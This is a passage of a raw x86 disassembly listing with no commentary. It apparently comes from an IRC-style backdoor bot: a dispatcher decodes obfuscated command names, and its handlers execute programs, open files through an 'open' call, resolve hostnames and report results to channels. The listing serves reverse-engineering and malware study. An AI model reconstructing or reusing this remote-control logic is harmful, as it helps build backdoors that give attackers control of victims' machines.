[esp+14h+var_4], 3 call sub_402207 lea ecx, [esi+16Dh] mov byte ptr [esp+14h+var_4], 4 call sub_402207 lea ecx, [esi+1B6h] mov byte ptr [esp+14h+var_4], 5 call sub_402207 lea ecx, [esi+1FFh] mov byte ptr [esp+14h+var_4], 6 call sub_402207 mov ecx, [esp+14h+var_C] mov eax, esi pop esi mov large fs:0, ecx add esp, 10h retn sub_403E00 endp ; --------------------------------------------------------------------------- db 0Ch dup(90h) db 30h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_403EE0 proc near ; CODE XREF: sub_40206Dj var_10 = dword ptr -10h var_C = dword ptr -0Ch var_4 = dword ptr -4 push 0FFFFFFFFh push offset SEH_403EE0 mov eax, large fs:0 push eax mov large fs:0, esp push ecx push esi mov esi, ecx mov [esp+14h+var_10], esi lea ecx, [esi+1FFh] mov [esp+14h+var_4], 6 call sub_401AD2 lea ecx, [esi+1B6h] mov byte ptr [esp+14h+var_4], 5 call sub_401AD2 lea ecx, [esi+16Dh] mov byte ptr [esp+14h+var_4], 4 call sub_401AD2 lea ecx, [esi+124h] mov byte ptr [esp+14h+var_4], 3 call sub_401AD2 lea ecx, [esi+0DBh] mov byte ptr [esp+14h+var_4], 2 call sub_401AD2 lea ecx, [esi+92h] mov byte ptr [esp+14h+var_4], 1 call sub_401AD2 lea ecx, [esi+49h] mov byte ptr [esp+14h+var_4], 0 call sub_401AD2 mov ecx, esi mov [esp+14h+var_4], 0FFFFFFFFh call sub_401AD2 mov ecx, [esp+14h+var_C] pop esi mov large fs:0, ecx add esp, 10h retn sub_403EE0 endp ; --------------------------------------------------------------------------- db 4 dup(90h) db 30h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_403FC0 proc near ; CODE XREF: sub_401D34j var_3C = byte ptr -3Ch var_4 = dword ptr -4 push 0FFFFFFFFh push offset SEH_403FC0 mov eax, large fs:0 push eax mov large fs:0, esp sub esp, 48h push ebp push esi push edi push 0 push 4 push 9 push 4Fh lea eax, [esp+70h+var_3C] push 2 mov esi, ecx push eax call sub_4019B5 add esp, 18h push esi mov ecx, eax mov [esp+64h+var_4], 0 call sub_4017E4 lea ecx, [esi+0C29h] push eax push ecx mov ecx, offset dword_447148 call sub_401591 sub_403FC0 endp ; --------------------------------------------------------------------------- or edi, 0FFFFFFFFh lea ecx, [esp+24h] mov [esp+5Ch], edi call sub_401226 push 0 push 0Bh push 3 push 9 push 0Eh push 4 push 0Eh push 12h push 4Fh lea edx, [esp+48h] push 2 push edx call sub_4019B5 add esp, 2Ch push esi mov ecx, eax mov dword ptr [esp+60h], 1 call sub_4017E4 push eax lea eax, [esi+0BCDh] push eax mov ecx, offset dword_447148 call sub_401591 ; --------------------------------------------------------------------------- lea ecx, [esp+24h] mov [esp+5Ch], edi call sub_401226 push 0 push 14h push 15h push 0Fh push 2 push 1 push 4Fh lea ecx, [esp+40h] push 2 push ecx call sub_4019B5 add esp, 24h push esi mov ecx, eax mov dword ptr [esp+60h], 2 call sub_4017E4 lea edx, [esi+0C57h] push eax push edx mov ecx, offset dword_447148 call sub_401591 ; --------------------------------------------------------------------------- lea ecx, [esp+24h] mov [esp+5Ch], edi call sub_401226 push 0 push 5 push 12h push 15h push 3 push 5 push 13h push 4Fh lea eax, [esp+44h] push 2 push eax call sub_4019B5 add esp, 28h push esi mov ecx, eax mov dword ptr [esp+60h], 3 call sub_4017E4 lea ecx, [esi+0DF5h] push eax push ecx mov ecx, offset dword_447148 call sub_401591 ; --------------------------------------------------------------------------- lea ecx, [esp+24h] mov [esp+5Ch], edi call sub_401226 push 0 push 0Fh push 6 push 0Eh push 9 push 13h push 19h push 13h push 4Fh lea edx, [esp+48h] push 2 push edx call sub_4019B5 add esp, 2Ch push esi mov ecx, eax mov dword ptr [esp+60h], 4 call sub_4017E4 push eax lea eax, [esi+0C85h] push eax mov ecx, offset dword_447148 call sub_401591 ; --------------------------------------------------------------------------- lea ecx, [esp+24h] mov [esp+5Ch], edi call sub_401226 push 0 push 10h push 13h push 0Ch push 4Fh lea ecx, [esp+38h] push 2 push ecx call sub_4019B5 add esp, 1Ch push esi mov ecx, eax mov dword ptr [esp+60h], 5 call sub_4017E4 lea edx, [esi+0B71h] push eax push edx mov ecx, offset dword_447148 call sub_401591 ; --------------------------------------------------------------------------- lea ecx, [esp+24h] mov [esp+5Ch], edi call sub_401226 push 0 push 13h push 0Eh push 4 push 8 push 13h push 15h push 0Ch push 6 push 4Fh lea eax, [esp+4Ch] push 2 push eax call sub_4019B5 add esp, 30h push esi mov ecx, eax mov dword ptr [esp+60h], 6 call sub_4017E4 lea ecx, [esi+0DC7h] push eax push ecx mov ecx, offset dword_447148 call sub_401591 ; --------------------------------------------------------------------------- lea ecx, [esp+24h] mov [esp+5Ch], edi call sub_401226 push 0 push 0Eh push 5 push 10h push 0Fh push 4Fh lea edx, [esp+3Ch] push 2 push edx call sub_4019B5 add esp, 20h push esi mov ecx, eax mov dword ptr [esp+60h], 7 call sub_4017E4 push eax lea eax, [esi+0D0Fh] push eax mov ecx, offset dword_447148 call sub_401591 ; --------------------------------------------------------------------------- lea ecx, [esp+24h] mov [esp+5Ch], edi call sub_401226 push 0 push 14h push 9 push 15h push 11h push 4Fh lea ecx, [esp+3Ch] push 2 push ecx call sub_4019B5 add esp, 20h push esi mov ecx, eax mov dword ptr [esp+60h], 8 call sub_4017E4 lea edx, [esi+0D99h] push eax push edx mov ecx, offset dword_447148 call sub_401591 ; --------------------------------------------------------------------------- lea ecx, [esp+24h] mov [esp+5Ch], edi call sub_401226 push 0 push 4 push 0Dh push 3 push 4Fh lea eax, [esp+38h] push 2 push eax call sub_4019B5 add esp, 1Ch mov dword ptr [esp+5Ch], 9 push esi mov ecx, eax call sub_4017E4 lea ecx, [esi+0E23h] push eax push ecx mov ecx, offset dword_447148 call sub_401591 ; --------------------------------------------------------------------------- lea ecx, [esp+24h] mov [esp+5Ch], edi call sub_401226 push 0 push 5 push 18h push 5 push 4Fh lea edx, [esp+38h] push 2 push edx call sub_4019B5 add esp, 1Ch push esi mov ecx, eax mov dword ptr [esp+60h], 0Ah call sub_4017E4 push eax lea eax, [esi+0D6Bh] push eax mov ecx, offset dword_447148 call sub_401591 ; --------------------------------------------------------------------------- lea ecx, [esp+24h] mov [esp+5Ch], edi call sub_401226 push 0 push 13h push 0Eh push 4 push 4Fh lea ecx, [esp+38h] push 2 push ecx call sub_4019B5 add esp, 1Ch push esi mov ecx, eax mov dword ptr [esp+60h], 0Bh call sub_4017E4 lea edx, [esi+0D3Dh] push eax push edx mov ecx, offset dword_447148 call sub_401591 ; --------------------------------------------------------------------------- lea ecx, [esp+24h] mov [esp+5Ch], edi call sub_401226 push 0 push 5 push 0Dh push 9 push 14h push 10h push 15h push 0Ch push 4Fh lea eax, [esp+48h] push 2 push eax call sub_4019B5 add esp, 2Ch push esi mov ecx, eax mov dword ptr [esp+60h], 0Ch call sub_4017E4 lea ecx, [esi+0CB3h] push eax push ecx mov ecx, offset dword_447148 call sub_401591 ; --------------------------------------------------------------------------- lea ecx, [esp+24h] mov [esp+5Ch], edi call sub_401226 push 0 push 0Bh push 3 push 9 push 0Eh push 4Fh lea edx, [esp+3Ch] push 2 push edx call sub_4019B5 add esp, 20h push esi mov ecx, eax mov dword ptr [esp+60h], 0Dh call sub_4017E4 push eax lea eax, [esi+0CE1h] push eax mov ecx, offset dword_447148 call sub_401591 ; --------------------------------------------------------------------------- db 8Dh dd 8924244Ch, 0E85C247Ch, 0FFFFCE26h, 0E8094E8Dh, 0FFFFD3DCh dd 0C244C8Dh, 0FE85150h, 83FFFFDCh, 6A08C4h, 1D6A256Ah dd 548D236Ah, 286A3424h, 2444C752h, 0E74h, 0D583E800h dd 0C483FFFFh, 8DE88B18h, 0C60C244Ch, 0F5C2444h, 0FFD39FE8h dd 0CD8B50FFh, 0FFD397E8h, 0F46850FFh, 68004435h, 4D60A5h dd 0FFD9AEE8h, 10C483FFh, 24244C8Dh, 5C2444C6h, 0CDB8E80Eh dd 206AFFFFh, 4024448Dh, 8D50006Ah, 0E818244Ch, 0FFFFCE32h dd 44C6C88Bh, 0E8105C24h, 0FFFFD358h, 35F06850h, 75680044h dd 0E8004E6Eh, 0FFFFCB91h, 8D0CC483h, 0C63C244Ch, 0E5C2444h dd 0FFCD79E8h, 0C264E8FFh, 8B90023Dh, 4DD3B8C8h, 7C891062h dd 0E1F75C24h, 8D06EAC1h, 890C244Ch, 57E80556h, 8BFFFFCDh dd 5F54244Ch, 89645D5Eh, 0Dh, 54C48300h, 909090C3h, 3 dup(90909090h) dd 54h dup(0CCCCCCCCh) ; =============== S U B R O U T I N E ======================================= sub_404640 proc near ; CODE XREF: sub_401A32j var_88 = dword ptr -88h var_84 = byte ptr -84h var_6C = byte ptr -6Ch var_54 = byte ptr -54h var_3C = byte ptr -3Ch var_24 = byte ptr -24h var_C = dword ptr -0Ch var_4 = dword ptr -4 arg_0 = dword ptr 4 arg_4 = byte ptr 8 push 0FFFFFFFFh push offset SEH_404640 mov eax, large fs:0 push eax mov large fs:0, esp sub esp, 7Ch push ebx push ebp push esi mov esi, [esp+94h+arg_0] mov ebp, ecx push edi lea ebx, [esi+2Ah] push 0 mov ecx, ebx mov [esp+9Ch+var_88], ebp call sub_40146F mov cl, [eax] lea edi, [esi+69h] cmp cl, 23h jnz short loc_404682 push ebx jmp short loc_404686 ; --------------------------------------------------------------------------- loc_404682: ; CODE XREF: sub_404640+3Dj lea eax, [esi+15h] push eax loc_404686: ; CODE XREF: sub_404640+40j mov ecx, edi call sub_401FBE mov al, [esi+94h] test al, al jz short loc_4046A2 lea ecx, [esi+15h] push ecx mov ecx, edi call sub_401FBE loc_4046A2: ; CODE XREF: sub_404640+55j mov al, [esi+95h] test al, al jz short loc_40471F lea ecx, [esp+98h+var_6C] call sub_401424 push offset aO ; " -o" mov ecx, esi mov [esp+9Ch+var_4], 0 call sub_4013E3 add eax, 3 lea edx, [esp+98h+var_54] push eax push edx mov ecx, esi call sub_401E2E push eax lea ecx, [esp+9Ch+var_6C] mov byte ptr [esp+9Ch+var_4], 1 call sub_401FBE lea ecx, [esp+98h+var_54] mov byte ptr [esp+98h+var_4], 0 call sub_401226 lea eax, [esp+98h+var_6C] mov ecx, edi push eax call sub_401FBE lea ecx, [esp+98h+var_6C] mov [esp+98h+var_4], 0FFFFFFFFh call sub_401226 loc_40471F: ; CODE XREF: sub_404640+6Aj push offset asc_443600 ; " " lea ecx, [esp+9Ch+var_6C] push 0 push ecx mov ecx, esi call sub_4016AE lea edx, [esp+98h+var_54] mov ebx, 2 push 1 push edx mov ecx, eax mov [esp+0A0h+var_4], ebx call sub_401E2E lea edi, [esi+7Eh] push eax mov ecx, edi mov byte ptr [esp+9Ch+var_4], 3 call sub_401FBE lea ecx, [esp+98h+var_54] mov byte ptr [esp+98h+var_4], bl call sub_401226 lea ecx, [esp+98h+var_6C] mov [esp+98h+var_4], 0FFFFFFFFh call sub_401226 push 0 lea ecx, [ebp+32Ch] call sub_40146F push 0 mov ecx, esi mov ebp, eax call sub_40146F mov al, [eax] mov cl, [ebp+0] cmp al, cl jnz loc_4049EA push 0 push 14h push 1 push 5 push 10h push 5 push 12h push 4Eh push 14h push 0Fh lea ecx, [esp+0C0h+var_54] push ebx push ecx call sub_4019B5 add esp, 30h mov ecx, eax mov [esp+98h+var_4], 4 call sub_4017E4 push eax mov ecx, edi call sub_4012EE test eax, eax jnz short loc_40480F sub esp, 18h lea edx, [esi+15h] mov ecx, esp mov [esp+0B0h+arg_0], esp push edx call sub_4014C9 mov ecx, offset word_448C8E call sub_401CD0 test eax, eax jz short loc_40480F mov bl, 1 jmp short loc_404811 ; --------------------------------------------------------------------------- loc_40480F: ; CODE XREF: sub_404640+1A6j ; sub_404640+1C9j xor bl, bl loc_404811: ; CODE XREF: sub_404640+1CDj lea ecx, [esp+98h+var_54] mov [esp+98h+var_4], 0FFFFFFFFh call sub_401226 test bl, bl jz loc_4049CE push offset asc_443600 ; " " lea eax, [esp+9Ch+var_54] push 1 push eax mov ecx, esi call sub_4016AE push offset byte_446F60 mov ecx, eax mov [esp+9Ch+var_4], 5 call sub_4012EE test eax, eax lea ecx, [esp+98h+var_54] mov [esp+98h+var_4], 0FFFFFFFFh setz bl call sub_401226 test bl, bl jnz loc_4049EA push offset asc_443600 ; " " lea ecx, [esp+9Ch+var_54] push 1 push ecx mov ecx, esi call sub_4016AE mov ecx, eax mov [esp+98h+var_4], 6 call sub_4017E4 push eax nop call near ptr 77C1BF18h add esp, 4 lea ecx, [esp+98h+var_54] mov ebp, eax mov [esp+98h+var_4], 0FFFFFFFFh call sub_401226 test ebp, ebp jz loc_4049EA push 20h mov ecx, esi call sub_401D20 lea edx, [esp+98h+var_84] push eax push edx mov ecx, esi call sub_401E2E mov ebx, 7 push 20h lea ecx, [esp+9Ch+var_84] mov [esp+9Ch+var_4], ebx call sub_401D20 push eax lea eax, [esp+9Ch+var_54] push eax lea ecx, [esp+0A0h+var_84] call sub_401E2E push eax lea ecx, [esp+9Ch+var_84] mov byte ptr [esp+9Ch+var_4], 8 call sub_40200E lea ecx, [esp+98h+var_54] mov byte ptr [esp+98h+var_4], bl call sub_401226 lea ecx, [esp+98h+var_84] push ecx mov ecx, esi call sub_401FBE push offset asc_443600 ; " " lea edx, [esp+9Ch+var_24] push 0 push edx mov ecx, esi call sub_4016AE lea ecx, [esp+98h+var_3C] push 1 push ecx mov ecx, eax mov byte ptr [esp+0A0h+var_4], 9 call sub_401E2E push eax mov ecx, edi mov byte ptr [esp+9Ch+var_4], 0Ah call sub_401FBE lea ecx, [esp+98h+var_3C] mov byte ptr [esp+98h+var_4], 9 call sub_401226 lea ecx, [esp+98h+var_24] mov byte ptr [esp+98h+var_4], bl call sub_401226 mov al, [esp+98h+arg_4] test al, al jnz short loc_4049A7 test ebp, ebp jle short loc_4049B8 loc_404998: ; CODE XREF: sub_404640+363j mov ecx, [esp+98h+var_88] push esi call sub_401F69 dec ebp jnz short loc_404998 jmp short loc_4049B8 ; --------------------------------------------------------------------------- loc_4049A7: ; CODE XREF: sub_404640+352j test ebp, ebp jle short loc_4049B8 loc_4049AB: ; CODE XREF: sub_404640+376j mov ecx, [esp+98h+var_88] push esi call sub_401442 dec ebp jnz short loc_4049AB loc_4049B8: ; CODE XREF: sub_404640+356j ; sub_404640+365j ... lea ecx, [esp+98h+var_84] mov [esp+98h+var_4], 0FFFFFFFFh call sub_401226 jmp short loc_4049EA ; --------------------------------------------------------------------------- loc_4049CE: ; CODE XREF: sub_404640+1E7j mov al, [esp+98h+arg_4] mov ecx, [esp+98h+var_88] test al, al push esi jnz short loc_4049E5 call sub_401F69 jmp short loc_4049EA ; --------------------------------------------------------------------------- loc_4049E5: ; CODE XREF: sub_404640+39Cj call sub_401442 loc_4049EA: ; CODE XREF: sub_404640+162j ; sub_404640+232j ... mov ecx, [esp+98h+var_C] pop edi pop esi pop ebp mov large fs:0, ecx pop ebx add esp, 88h retn 8 sub_404640 endp ; --------------------------------------------------------------------------- db 0Bh dup(90h) db 100h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_404B10 proc near ; CODE XREF: sub_401F69j arg_0 = dword ptr 4 push esi push edi mov edi, ecx mov ecx, offset word_448C92 call sub_4014D3 mov esi, [esp+8+arg_0] push eax lea ecx, [esi+7Eh] call sub_4012EE test eax, eax jz short loc_404B56 sub esp, 18h lea eax, [esi+15h] mov ecx, esp mov [esp+20h+arg_0], esp push eax call sub_4014C9 mov ecx, offset word_448C8E call sub_401CD0 test eax, eax jnz short loc_404B56 xor al, al pop edi pop esi retn 4 ; --------------------------------------------------------------------------- loc_404B56: ; CODE XREF: sub_404B10+1Dj ; sub_404B10+3Dj sub esp, 18h lea edx, [esi+15h] mov ecx, esp mov [esp+20h+arg_0], esp push edx call sub_4014C9 mov ecx, offset word_448C8E call sub_401CD0 test eax, eax jnz short loc_404B96 mov al, [edi+469h] test al, al jz short loc_404B96 push 0 lea ecx, [esi+2Ah] call sub_40146F cmp byte ptr [eax], 23h jz short loc_404B96 xor al, al pop edi pop esi retn 4 ; --------------------------------------------------------------------------- loc_404B96: ; CODE XREF: sub_404B10+64j ; sub_404B10+6Ej ... push esi mov ecx, edi call sub_401442 pop edi pop esi retn 4 sub_404B10 endp ; --------------------------------------------------------------------------- db 0Dh dup(90h) db 30h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_404BE0 proc near ; CODE XREF: sub_401442j arg_0 = dword ptr 4 push esi mov esi, [esp+4+arg_0] push 1 lea ecx, [esi+7Eh] call sub_4017E4 push eax mov ecx, offset dword_447148 call sub_401AF0 test eax, eax jz short loc_404C0A mov ecx, [eax+2Ah] push esi mov eax, [ecx] call dword ptr [eax] pop esi retn 4 ; --------------------------------------------------------------------------- loc_404C0A: ; CODE XREF: sub_404BE0+1Cj xor al, al pop esi retn 4 sub_404BE0 endp ; --------------------------------------------------------------------------- db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_404C20 proc near ; CODE XREF: sub_40185Cj push esi push edi mov edi, dword_50F8A4 mov esi, ecx call edi mov edx, dword_4D60C9 mov ecx, [esi+421h] sub eax, edx cmp eax, ecx jbe short loc_404C4F mov ecx, offset byte_4D60A5 call sub_401D0C call edi mov dword_4D60C9, eax loc_404C4F: ; CODE XREF: sub_404C20+1Cj pop edi mov al, 1 pop esi retn sub_404C20 endp ; --------------------------------------------------------------------------- db 0Ch dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_404C70 proc near ; CODE XREF: sub_4017C6j var_1B4 = dword ptr -1B4h var_1B0 = byte ptr -1B0h var_1AC = dword ptr -1ACh var_1A8 = byte ptr -1A8h var_198 = byte ptr -198h var_194 = dword ptr -194h var_190 = byte ptr -190h var_17C = dword ptr -17Ch var_178 = byte ptr -178h var_168 = dword ptr -168h var_164 = byte ptr -164h var_14D = byte ptr -14Dh var_14C = byte ptr -14Ch var_130 = byte ptr -130h var_11C = byte ptr -11Ch var_104 = dword ptr -104h var_100 = byte ptr -100h var_D0 = dword ptr -0D0h var_A0 = byte ptr -0A0h var_8C = byte ptr -8Ch var_54 = byte ptr -54h var_50 = byte ptr -50h var_48 = byte ptr -48h var_30 = byte ptr -30h var_18 = byte ptr -18h var_C = dword ptr -0Ch var_4 = dword ptr -4 arg_0 = dword ptr 4 mov eax, large fs:0 push 0FFFFFFFFh push offset SEH_404C70 push eax mov large fs:0, esp sub esp, 15Ch push ebx push ebp push esi mov esi, [esp+174h+arg_0] push edi mov edi, ecx lea ebp, [esi+7Eh] lea ecx, [edi+0C29h] call sub_4017E4 push eax mov ecx, ebp call sub_4012EE test eax, eax jnz short loc_404CE4 lea ecx, [esi+69h] call sub_4014D3 push eax lea ecx, [edi+2E3h] call sub_4014D3 mov cl, [esi+93h] push eax mov al, [esi+94h] push eax push ecx mov ecx, offset byte_4D60A5 call sub_401118 jmp loc_405675 ; --------------------------------------------------------------------------- loc_404CE4: ; CODE XREF: sub_404C70+40j lea ecx, [edi+0D6Bh] call sub_4017E4 push eax mov ecx, ebp call sub_4012EE test eax, eax jnz loc_404E75 push 1 push offset asc_443600 ; " " lea edx, [esp+180h+var_14C] push 2 push edx mov ecx, esi call sub_4011EA push offset asc_443600 ; " " lea eax, [esp+17Ch+var_100] push 1 push eax mov ecx, esi mov [esp+184h+var_4], 0 call sub_4016AE mov ecx, eax mov byte ptr [esp+178h+var_4], 1 call sub_4017E4 push eax call near ptr 77C1BF18h nop add esp, 4 cmp eax, 1 lea ecx, [esp+178h+var_100] mov byte ptr [esp+178h+var_4], 0 setz bl call sub_401226 lea ecx, [esp+178h+var_164] call sub_401424 push 2000h push 2000h lea ecx, [esp+180h+var_164] mov byte ptr [esp+180h+var_4], 2 call sub_401C5D push eax lea ecx, [esp+180h+var_14C] call sub_4017E4 push eax call near ptr 2800000h nop lea ecx, [esp+178h+var_164] push ecx lea ecx, [esp+17Ch+var_14C] call sub_401FBE mov ecx, 11h xor eax, eax lea edi, [esp+178h+var_D0] lea edx, [esp+178h+var_11C] rep stosd lea eax, [esp+178h+var_D0] push edx push eax push 0 neg bl push 0 push 28h sbb ebx, ebx push 1 and ebx, 5 push 0 push 0 lea ecx, [esp+198h+var_14C] mov [esp+198h+var_D0], 44h mov word ptr [esp+198h+var_A0], bx call sub_4014D3 push eax push 0 call near ptr 27F0000h nop test eax, eax jnz short loc_404E49 lea ecx, [esi+69h] call sub_4014D3 mov cl, [esi+94h] mov dl, [esi+93h] push eax push offset aExec_error ; "exec.error" push ecx push edx mov ecx, offset byte_4D60A5 call sub_401118 lea ecx, [esp+178h+var_164] mov byte ptr [esp+178h+var_4], 0 call sub_401226 mov [esp+178h+var_4], 0FFFFFFFFh lea ecx, [esp+178h+var_14C] jmp loc_40566E ; --------------------------------------------------------------------------- loc_404E49: ; CODE XREF: sub_404C70+18Cj lea ecx, [esp+178h+var_164] mov byte ptr [esp+178h+var_4], 0 call sub_401226 lea ecx, [esp+178h+var_14C] mov [esp+178h+var_4], 0FFFFFFFFh call sub_401226 mov al, 1 jmp loc_405675 ; --------------------------------------------------------------------------- loc_404E75: ; CODE XREF: sub_404C70+89j lea ecx, [edi+0B71h] call sub_4014D3 push eax mov ecx, ebp call sub_4012EE test eax, eax jnz loc_404F24 push 1 push offset asc_443600 ; " " lea eax, [esp+180h+var_164] push 1 push eax mov ecx, esi call sub_4011EA mov ecx, offset byte_4E6E75 mov [esp+178h+var_4], 3 call sub_4017E4 push eax lea ecx, [esp+17Ch+var_164] call sub_4012EE test eax, eax jnz short loc_404F10 mov al, byte_4478C6 test al, al jz short loc_404EE0 push offset dword_447864 mov ecx, offset dword_448DA0 call sub_401447 loc_404EE0: ; CODE XREF: sub_404C70+25Fj mov al, byte_44790F test al, al jz short loc_404EF8 push offset byte_44793F mov ecx, offset dword_448DA0 call sub_401942 loc_404EF8: ; CODE XREF: sub_404C70+277j mov ecx, offset dword_448DA0 call sub_401E5B mov byte_4D60BC, 0 mov byte_4E6E74, 0 loc_404F10: ; CODE XREF: sub_404C70+256j mov [esp+178h+var_4], 0FFFFFFFFh lea ecx, [esp+178h+var_164] jmp loc_40566E ; --------------------------------------------------------------------------- loc_404F24: ; CODE XREF: sub_404C70+21Aj lea ecx, [edi+0C57h] call sub_4017E4 push eax mov ecx, ebp call sub_4012EE test eax, eax jnz short loc_404F6C lea ecx, [esi+69h] call sub_4014D3 push eax mov ecx, offset word_4E6E8A call sub_4014D3 mov cl, [esi+94h] mov dl, [esi+93h] push eax push ecx push edx mov ecx, offset byte_4D60A5 call sub_401118 jmp loc_405675 ; --------------------------------------------------------------------------- loc_404F6C: ; CODE XREF: sub_404C70+2C9j lea ecx, [edi+0DC7h] call sub_4017E4 push eax mov ecx, ebp call sub_4012EE test eax, eax jnz loc_405029 push eax push 13h push 0Eh push 4 push 8 push 13h push 15h push 0Ch push 6 lea eax, [esp+19Ch+var_14C] push 50h push eax call sub_4019B5 add esp, 2Ch mov esi, eax push 0 push 5 push 18h push 5 push 4Eh push 7 push 9 push 6 push 0Eh push 0Fh push 3 push 10h lea ecx, [esp+1A8h+var_164] push 9 push ecx mov [esp+1B0h+var_4], 4 call sub_4019B5 add esp, 38h mov edi, eax mov ecx, esi mov byte ptr [esp+178h+var_4], 5 call sub_4017E4 push eax mov ecx, edi call sub_4017E4 push eax call sub_401299 add esp, 8 lea ecx, [esp+178h+var_164] mov byte ptr [esp+178h+var_4], 4 call sub_401226 lea ecx, [esp+178h+var_14C] mov [esp+178h+var_4], 0FFFFFFFFh call sub_401226 mov al, 1 jmp loc_405675 ; --------------------------------------------------------------------------- loc_405029: ; CODE XREF: sub_404C70+311j lea ecx, [edi+0D0Fh] call sub_4017E4 push eax mov ecx, ebp call sub_4012EE test eax, eax jnz loc_405147 lea ecx, [esp+178h+var_14C] call sub_401424 push offset asc_443600 ; " " lea edx, [esp+17Ch+var_11C] push 1 push edx mov ecx, esi mov [esp+184h+var_4], 6 call sub_4016AE mov ecx, eax mov byte ptr [esp+178h+var_4], 7 call sub_4017E4 push eax lea ecx, [esp+17Ch+var_14C] call sub_401A87 lea ecx, [esp+178h+var_11C] mov byte ptr [esp+178h+var_4], 6 call sub_401226 lea ecx, [esp+178h+var_164] call sub_401424 push 1 mov bl, 8 push 0 push 0 lea ecx, [esp+184h+var_14C] mov byte ptr [esp+184h+var_4], bl call sub_4017E4 push eax push offset aOpen ; "open" push 0 nop call near ptr 7CA41110h movsx eax, al push eax lea ecx, [esp+17Ch+var_11C] call sub_4020F4 lea ecx, [esp+178h+var_11C] mov byte ptr [esp+178h+var_4], 9 push ecx lea ecx, [esp+17Ch+var_164] call sub_40200E lea ecx, [esp+178h+var_11C] mov byte ptr [esp+178h+var_4], bl call sub_401226 lea ecx, [esi+69h] call sub_4014D3 push eax lea ecx, [esp+17Ch+var_164] call sub_4014D3 mov dl, [esi+94h] push eax mov al, [esi+93h] push edx push eax mov ecx, offset byte_4D60A5 call sub_401118 lea ecx, [esp+178h+var_164] mov byte ptr [esp+178h+var_4], 6 call sub_401226 mov [esp+178h+var_4], 0FFFFFFFFh lea ecx, [esp+178h+var_14C] jmp loc_40566E ; --------------------------------------------------------------------------- loc_405147: ; CODE XREF: sub_404C70+3CEj lea ecx, [edi+0D99h] call sub_4017E4 push eax mov ecx, ebp call sub_4012EE test eax, eax jnz short loc_40516A mov byte_4D60BC, al mov al, 1 jmp loc_405675 ; --------------------------------------------------------------------------- loc_40516A: ; CODE XREF: sub_404C70+4ECj lea ecx, [edi+0D3Dh] call sub_4017E4 push eax mov ecx, ebp call sub_4012EE test eax, eax jnz loc_405431 lea ecx, [esp+178h+var_11C] call sub_401424 push offset asc_443600 ; " " lea ecx, [esp+17Ch+var_164] push 1 mov ebx, 0Ah push ecx mov ecx, esi mov [esp+184h+var_4], ebx call sub_4016AE push offset byte_446F60 mov ecx, eax mov byte ptr [esp+17Ch+var_4], 0Bh call sub_4012EE test eax, eax lea ecx, [esp+178h+var_164] mov byte ptr [esp+178h+var_4], bl setz [esp+178h+var_14D] call sub_401226 mov al, [esp+178h+var_14D] test al, al jz short loc_4051F4 mov [esp+178h+var_4], 0FFFFFFFFh lea ecx, [esp+178h+var_11C] jmp loc_40566E ; --------------------------------------------------------------------------- loc_4051F4: ; CODE XREF: sub_404C70+56Ej push offset asc_443600 ; " " lea edx, [esp+17Ch+var_164] push 1 push edx mov ecx, esi call sub_4016AE mov ecx, eax mov byte ptr [esp+178h+var_4], 0Ch call sub_4017E4 push eax call near ptr 71AB2BF4h nop lea ecx, [esp+178h+var_164] mov [esp+178h+var_104], eax mov byte ptr [esp+178h+var_4], bl call sub_401226 mov eax, [esp+178h+var_104] or ebp, 0FFFFFFFFh cmp eax, ebp jz loc_4052C7 push 2 lea eax, [esp+17Ch+var_104] push 4 push eax nop call near ptr 71ABE479h mov edi, eax test edi, edi jz loc_4053A8 push offset asc_443600 ; " " lea ecx, [esp+17Ch+var_164] push 1 push ecx mov ecx, esi call sub_4016AE mov edx, [edi] mov ecx, eax push edx mov byte ptr [esp+17Ch+var_4], 0Dh call sub_4017E4 push eax lea eax, [esp+180h+var_11C] push offset aSResolvedS ; "%s resolved %s" push eax call sub_40102D add esp, 10h lea ecx, [esp+178h+var_164] mov byte ptr [esp+178h+var_4], bl call sub_401226 lea ecx, [esi+69h] call sub_4014D3 push eax lea ecx, [esp+17Ch+var_11C] call sub_4014D3 mov cl, [esi+94h] mov dl, [esi+93h] push eax push ecx push edx jmp loc_40540E ; --------------------------------------------------------------------------- loc_4052C7: ; CODE XREF: sub_404C70+5CAj push offset asc_443600 ; " " lea eax, [esp+17Ch+var_164] push 1 push eax mov ecx, esi call sub_4016AE mov ecx, eax mov byte ptr [esp+178h+var_4], 0Eh call sub_4017E4 push eax nop call near ptr 71AB4FD4h lea ecx, [esp+178h+var_164] mov edi, eax mov byte ptr [esp+178h+var_4], bl call sub_401226 test edi, edi jz loc_4053A8 mov ecx, [edi+0Ch] push offset asc_443600 ; " " lea eax, [esp+17Ch+var_164] push 1 mov edx, [ecx] push eax mov ecx, esi mov edi, [edx] call sub_4016AE mov ebp, eax push edi mov byte ptr [esp+17Ch+var_4], 0Fh nop call near ptr 71AB3F41h push eax mov ecx, ebp call sub_4017E4 push eax lea ecx, [esp+180h+var_11C] push offset aSS_1 ; "%s -> %s" push ecx call sub_40102D add esp, 10h lea ecx, [esp+178h+var_164] mov byte ptr [esp+178h+var_4], bl call sub_401226 lea ecx, [esi+69h] call sub_4014D3 push eax lea ecx, [esp+17Ch+var_11C] call sub_4014D3 mov dl, [esi+94h] push eax mov al, [esi+93h] push edx push eax mov ecx, offset byte_4D60A5 call sub_401118 lea ecx, [esp+178h+var_11C] mov bl, al mov [esp+178h+var_4], 0FFFFFFFFh call sub_401226 mov al, bl jmp loc_405675 ; --------------------------------------------------------------------------- loc_4053A8: ; CODE XREF: sub_404C70+5E3j ; sub_404C70+694j push offset asc_443600 ; " " lea ecx, [esp+17Ch+var_164] push 1 push ecx mov ecx, esi call sub_4016AE mov ecx, eax mov byte ptr [esp+178h+var_4], 10h call sub_4017E4 push eax lea edx, [esp+17Ch+var_11C] push offset aResolve_errorS ; "resolve.error %s." push edx call sub_40102D add esp, 0Ch lea ecx, [esp+178h+var_164] mov byte ptr [esp+178h+var_4], bl call sub_401226 lea ecx, [esi+69h] call sub_4014D3 push eax lea ecx, [esp+17Ch+var_11C] call sub_4014D3 mov cl, [esi+93h] push eax mov al, [esi+94h] push eax push ecx loc_40540E: ; CODE XREF: sub_404C70+652j mov ecx, offset byte_4D60A5 call sub_401118 lea ecx, [esp+178h+var_11C] mov bl, al mov 